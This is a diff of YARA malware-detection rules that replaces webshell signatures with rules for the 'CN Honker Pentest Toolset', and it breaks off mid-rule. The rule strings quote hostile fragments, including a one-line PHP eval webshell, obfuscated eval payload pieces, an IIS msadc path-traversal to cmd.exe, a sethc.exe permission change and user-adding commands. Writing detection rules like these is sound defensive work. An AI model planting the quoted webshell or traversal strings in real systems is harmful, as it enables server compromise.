+		$s2 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] >" ascii
+		$s3 = "echo \"Tsenabled\"=dword:00000001 >> c:\\reg.reg" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <20KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Sig_404Super
+rule SIGNATURE_BASE_CN_Honker_Cookiesview : FILE
 {
 	meta:
-		description = "Web shells - generated from file 404super.php"
+		description = "Sample from CN Honker Pentest Toolset - file CookiesView.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "71a43797-4b5b-5f87-a70e-ebabc00d9319"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3296-L3314"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7ed63176226f83d36dce47ce82507b28"
-		logic_hash = "01ecffc6bca2acf1ea4f4d965f3513f7b08ee3d5abbda29d53081f2931ecf9e9"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2073-L2089"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c54e1f16d79066edfa0f84e920ed1f4873958755"
+		logic_hash = "9711bb15f08c18ba068325d1cca0ded8e252ded4ceddfb134d1317ad8a19fbe8"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "$i = pack('c*', 0x70, 0x61, 99, 107);" fullword
-		$s6 = "    'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631')," fullword
-		$s7 = "//http://require.duapp.com/session.php" fullword
-		$s8 = "if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}" fullword
-		$s12 = "//define('pass','123456');" fullword
-		$s13 = "$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSIO"
+		$s0 = "V1.0  Http://www.darkst.com Code:New4" fullword ascii
+		$s1 = "maotpo@126.com" fullword ascii
+		$s2 = "www.baidu.com" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <640KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_JSP
+rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V4_LPK : FILE
 {
 	meta:
-		description = "Web shells - generated from file JSP.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "808f5de2-1360-521e-8939-b759e361507c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3315-L3330"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "495f1a0a4c82f986f4bdf51ae1898ee7"
-		logic_hash = "bcb2f5d16ff3cc1454bf4653defe037e02a9228a5b7cf7428b1a577f4207c3c8"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2091-L2108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2b2ab50753006f62965bba83460e3960ca7e1926"
+		logic_hash = "a7382d61b53706ad51b36bc686a1c3f0018ee111bdc8ae9b05af144230dfbba3"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"
-		$s5 = "bw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.app"
-		$s11 = "if(Z.equals(\"A\")){String s=new File(application.getRealPath(request.getRequest"
+		$s1 = "http://127.0.0.1/1.exe" fullword wide
+		$s2 = "FreeHostKillexe.exe" fullword ascii
+		$s3 = "\\sethc.exe /G everyone:F" ascii
+		$s4 = "c:\\1.exe" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <300KB and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_Webshell_123
+rule SIGNATURE_BASE_CN_Honker_Scanhistory : FILE
 {
 	meta:
-		description = "Web shells - generated from file webshell-123.php"
+		description = "Sample from CN Honker Pentest Toolset - file ScanHistory.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
-		modified = "2023-01-27"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3331-L3348"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2782bb170acaed3829ea9a04f0ac7218"
-		logic_hash = "1caccadf2bd7d265f9b5026c82acc31ade95313d57382651004db8b5e361312d"
+		id = "85585cd2-c5ed-5465-bcac-b61211570055"
+		date = "2015-06-23"
+		modified = "2023-12-05"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2110-L2126"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "14c31e238924ba3abc007dc5a3168b64d7b7de8d"
+		logic_hash = "657a25b5103799446fa88abda39d36a05e080c18d41e9dd98199b506f2bfc419"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "// Web Shell!!" fullword
-		$s1 = "@preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6"
-		$s3 = "$default_charset = \"UTF-8\";" fullword
-		$s4 = "// url:http://www.weigongkai.com/shell/"
+		$s1 = "ScanHistory.exe" fullword wide
+		$s2 = ".\\Report.dat" fullword wide
+		$s3 = "select  * from  Results order by scandate desc" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Dev_Core
+rule SIGNATURE_BASE_CN_Honker_Invasionerasor : FILE
 {
 	meta:
-		description = "Web shells - generated from file dev_core.php"
+		description = "Sample from CN Honker Pentest Toolset - file InvasionErasor.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "03ccb643-9f92-5278-a358-65f56cf19ccc"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3349-L3367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "55ad9309b006884f660c41e53150fc2e"
-		logic_hash = "b3c7a9bdaa7e5bf76df9ffba94157777c32199edeaa1c8745e9400d138abc267"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2128-L2146"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b37ecd9ee6b137a29c9b9d2801473a521b168794"
+		logic_hash = "d2f742693682e9409284706a3eb63536a576cb162629bf76bfabf2e0210984a3"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {" fullword
-		$s9 = "setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);" fullword
-		$s10 = "$_SESSION['code'] = _REQUEST(sprintf(\"%s?%s\",pack(\"H*\",'6874"
-		$s11 = "if (preg_match(\"/^HTTP\\/\\d\\.\\d\\s([\\d]+)\\s.*$/\", $status, $matches))"
-		$s12 = "eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_C"
-		$s15 = "if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout))"
+		$s1 = "c:\\windows\\system32\\config\\*.*" fullword wide
+		$s2 = "c:\\winnt\\*.txt" fullword wide
+		$s3 = "Command1" fullword ascii
+		$s4 = "Win2003" fullword ascii
+		$s5 = "Win 2000" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Php
+rule SIGNATURE_BASE_CN_Honker_Super_Injection1 : FILE
 {
 	meta:
-		description = "Web shells - generated from file pHp.php"
+		description = "Sample from CN Honker Pentest Toolset - file super Injection1.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "ad84c5a0-4f03-5040-bdf7-819b40a08ad2"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3368-L3385"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b0e842bdf83396c3ef8c71ff94e64167"
-		logic_hash = "a943f3b0d1d56194e250c7cf3e05b2bfec7b29f91ef56085d645efa3fe8995c9"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2148-L2164"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8ff2df40c461f6c42b92b86095296187f2b59b14"
+		logic_hash = "11a3628b7c34a34dc37604430195e24063d3f0dd0889d6d782ce0ee42cafbb02"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if(is_readable($path)) antivirus($path.'/',$exs,$matches);" fullword
-		$s1 = "'/(eval|assert|include|require|include\\_once|require\\_once|array\\_map|arr"
-		$s13 = "'/(exec|shell\\_exec|system|passthru)+\\s*\\(\\s*\\$\\_(\\w+)\\[(.*)\\]\\s*"
-		$s14 = "'/(include|require|include\\_once|require\\_once)+\\s*\\(\\s*[\\'|\\\"](\\w+"
-		$s19 = "'/\\$\\_(\\w+)(.*)(eval|assert|include|require|include\\_once|require\\_once"
+		$s2 = "Invalid owner=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$s4 = "ScanInject.log" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Pppp
+rule SIGNATURE_BASE_CN_Honker_Pk_Pker : FILE
 {
 	meta:
-		description = "Web shells - generated from file pppp.php"
+		description = "Sample from CN Honker Pentest Toolset - file Pker.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "dff0e4fb-6b2e-5fa8-910d-63a9e5030b95"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3386-L3401"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf01cb6e09ee594545693c5d327bdd50"
-		logic_hash = "bd09fc2ec88bea83b16e63afafa3d5f74f119a81046a663322f5b396b48da135"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2166-L2186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "631787f27f27c46f79e58e1accfcc9ecfb4d3a2f"
+		logic_hash = "ea29bc82131751f0aaa4f10cc7576a27d243fb7dade03db7ae3dcb029b306505"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Mail: chinese@hackermail.com" fullword
-		$s3 = "if($_GET[\"hackers\"]==\"2b\"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "
-		$s6 = "Site: http://blog.weili.me" fullword
+		$s1 = "/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe" fullword wide
+		$s2 = "msadc/..\\..\\..\\..\\winnt/system32/cmd.exe" fullword wide
+		$s3 = "--Made by VerKey&Only_Guest&Bincker" fullword wide
+		$s4 = ";APPLET;EMBED;FRAMESET;HEAD;NOFRAMES;NOSCRIPT;OBJECT;SCRIPT;STYLE;" fullword wide
+		$s5 = " --Welcome to Www.Pker.In Made by V.K" fullword wide
+		$s6 = "Report.dat" fullword wide
+		$s7 = ".\\Report.dat" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <500KB and 5 of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Code
+rule SIGNATURE_BASE_CN_Honker_Getpass_Getpass : FILE
 {
 	meta:
-		description = "Web shells - generated from file code.php"
+		description = "Sample from CN Honker Pentest Toolset - file GetPass.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "999d0ac0-a112-53db-9dbe-10fa4419cfae"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3402-L3419"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a444014c134ff24c0be5a05c02b81a79"
-		logic_hash = "5ae053a9afc1f720c56304c434cd89861e1df4060b7d813921e7f85978227020"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2188-L2204"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+		logic_hash = "90d802da512f5d460eda6d644660711601d361e2402522d085d3225931a3fca3"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<a class=\"high2\" href=\"javascript:;;;\" name=\"action=show&dir=$_ipage_fi"
-		$s7 = "$file = !empty($_POST[\"dir\"]) ? urldecode(self::convert_to_utf8(rtrim($_PO"
-		$s10 = "if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_"
-		$s14 = "Processed in <span id=\"runtime\"></span> second(s) {gzip} usage:"
-		$s17 = "<a href=\"javascript:;;;\" name=\"{return_link}\" onclick=\"fileperm"
+		$s1 = "\\only\\Desktop\\" ascii
+		$s2 = "To Run As Administuor" ascii
+		$s3 = "Key to EXIT ... & pause > nul" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Jspyyy
+rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_Blackmoon_Jun15 : FILE
 {
 	meta:
-		description = "Web shells - generated from file jspyyy.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file f4ck.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "df12daca-8e03-5382-b71d-96a747d3a043"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3420-L3433"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b291bf3ccc9dac8b5c7e1739b8fa742e"
-		logic_hash = "0afe45556aa7b562672cc4b609cf001aaa617b03028322abac6524f666b069e1"
+		old_rule_name = "CN_Honker_F4ck_Team_f4ck_3"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2206-L2227"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7e3bf9b26df08cfa10f10e2283c6f21f5a3a0014"
+		logic_hash = "85db31c6bca6e5ddd45168a3adbc382d5a9e8128e0b2a6ed5efe1a2fcd42ff3d"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%@page import=\"java.io.*\"%><%if(request.getParameter(\"f\")"
+		$s1 = "File UserName PassWord [comment] /add" fullword ascii
+		$s2 = "No Net.exe Add User" fullword ascii
+		$s3 = "BlackMoon RunTime Error:" fullword ascii
+		$s4 = "Team.F4ck.Net" fullword wide
+		$s5 = "admin 123456789" fullword ascii
+		$s6 = "blackmoon" fullword ascii
+		$s7 = "f4ck Team" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and 4 of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Xxxx
+rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_F4Ck_3 : FILE
 {
 	meta:
-		description = "Web shells - generated from file xxxx.php"
+		description = "Sample from CN Honker Pentest Toolset - file F4ck_3.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "1767669f-47d0-5d6e-97a5-92522f988102"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3434-L3447"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5bcba70b2137375225d8eedcde2c0ebb"
-		logic_hash = "e14cc1eaf357389ca58193c77ce2f54774aebb42be9df15f12415df356c7ed42"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2229-L2248"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0b3e9381930f02e170e484f12233bbeb556f3731"
+		logic_hash = "870d22be85da127b3ebfd3f8ec547b6ad1cdc8048b56aea494e8d2643bd61d77"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<?php eval($_POST[1]);?>  " fullword
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s6 = "NO Net Add User" fullword wide
+		$s7 = "DLL ERROR" fullword ascii
+		$s11 = "F4ck Team" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and 3 of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Jjjsp3
+rule SIGNATURE_BASE_CN_Honker_ACCESS_Brute : FILE
 {
 	meta:
-		description = "Web shells - generated from file JJjsp3.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file ACCESS_brute.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "7ceaea93-4f23-50a3-ab39-8149b10ffdad"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3448-L3461"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "949ffee1e07a1269df7c69b9722d293e"
-		logic_hash = "44889540effa2f71889e7f6d0c5d12486e256d83b9230c4902d56f6a59b7939b"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2250-L2268"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f552e05facbeb21cb12f23c34bb1881c43e24c34"
+		logic_hash = "5bd0cbb1c2f5863ef1365dc115c736ade05c290cd6fa09a24c2d344314b522cb"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%><%!S"
+		$s1 = ".dns166.co" ascii
+		$s2 = "SExecuteA" ascii
+		$s3 = "ality/clsCom" ascii
+		$s4 = "NT_SINK_AddRef" ascii
+		$s5 = "WINDOWS\\Syswm" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <20KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_PHP1
+rule SIGNATURE_BASE_CN_Honker_Fpipe_Fpipe : FILE
 {
 	meta:
-		description = "Web shells - generated from file PHP1.php"
+		description = "Sample from CN Honker Pentest Toolset - file FPipe.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "0d84aa8f-dc15-5bb7-a568-224c6a837685"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3462-L3477"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "14c7281fdaf2ae004ca5fec8753ce3cb"
-		logic_hash = "1c5eb355455c7fbd2b74d91f78e1d77f460dfeb4fe0ee65f18aa1453337b67a0"
-		score = 70
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2270-L2286"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a2c51c6fa93a3dfa14aaf31fb1c48a3a66a32d11"
+		logic_hash = "bde46f2508dc82f91e39cc7bd88960e836522b068546ce65ebc07db69b3d4493"
+		score = 50
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>" fullword
-		$s2 = ":https://forum.90sec.org/forum.php?mod=viewthread&tid=7316" fullword
-		$s3 = "@preg_replace(\"/f/e\",$_GET['u'],\"fengjiao\"); " fullword
+		$s1 = "Unable to create TCP listen socket. %s%d" fullword ascii
+		$s2 = "http://www.foundstone.com" fullword ascii
+		$s3 = "%s %s port %d. Address is already in use" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <20KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Jjjsp2
+rule SIGNATURE_BASE_CN_Honker_Layer_Layer : FILE
 {
 	meta:
-		description = "Web shells - generated from file JJJsp2.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Layer.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3478-L3494"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5a9fec45236768069c99f0bfd566d754"
-		logic_hash = "47dca67c7a01035996d032cb3871da5532aea81ab6570c93c4a6b148fd95e9f9"
+		id = "48e27119-da7e-5921-8d4f-f8a1e3ac0439"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2288-L2305"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0f4f27e842787cb854bd61f9aca86a63f653eb41"
+		logic_hash = "03e2d875de6dc45a0cede55071c071944c4cdf4610f52fe4a21f6dd5dedac41d"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "QQ(cs, z1, z2, sb,z2.indexOf(\"-to:\")!=-1?z2.substring(z2.indexOf(\"-to:\")+4,z"
-		$s8 = "sb.append(l[i].getName() + \"/\\t\" + sT + \"\\t\" + l[i].length()+ \"\\t\" + sQ"
-		$s10 = "ResultSet r = s.indexOf(\"jdbc:oracle\")!=-1?c.getMetaData()"
-		$s11 = "return DriverManager.getConnection(x[1].trim()+\":\"+x[4],x[2].equalsIgnoreCase("
+		$s1 = "\\Release\\Layer.pdb" ascii
+		$s2 = "Layer.exe" fullword wide
+		$s3 = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Radhat
+rule SIGNATURE_BASE_CN_Honker_Ms10048_X86 : FILE
 {
 	meta:
-		description = "Web shells - generated from file radhat.asp"
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x86.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "5d572d35-d2e5-5457-89d9-fbce8f8fa552"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3495-L3508"
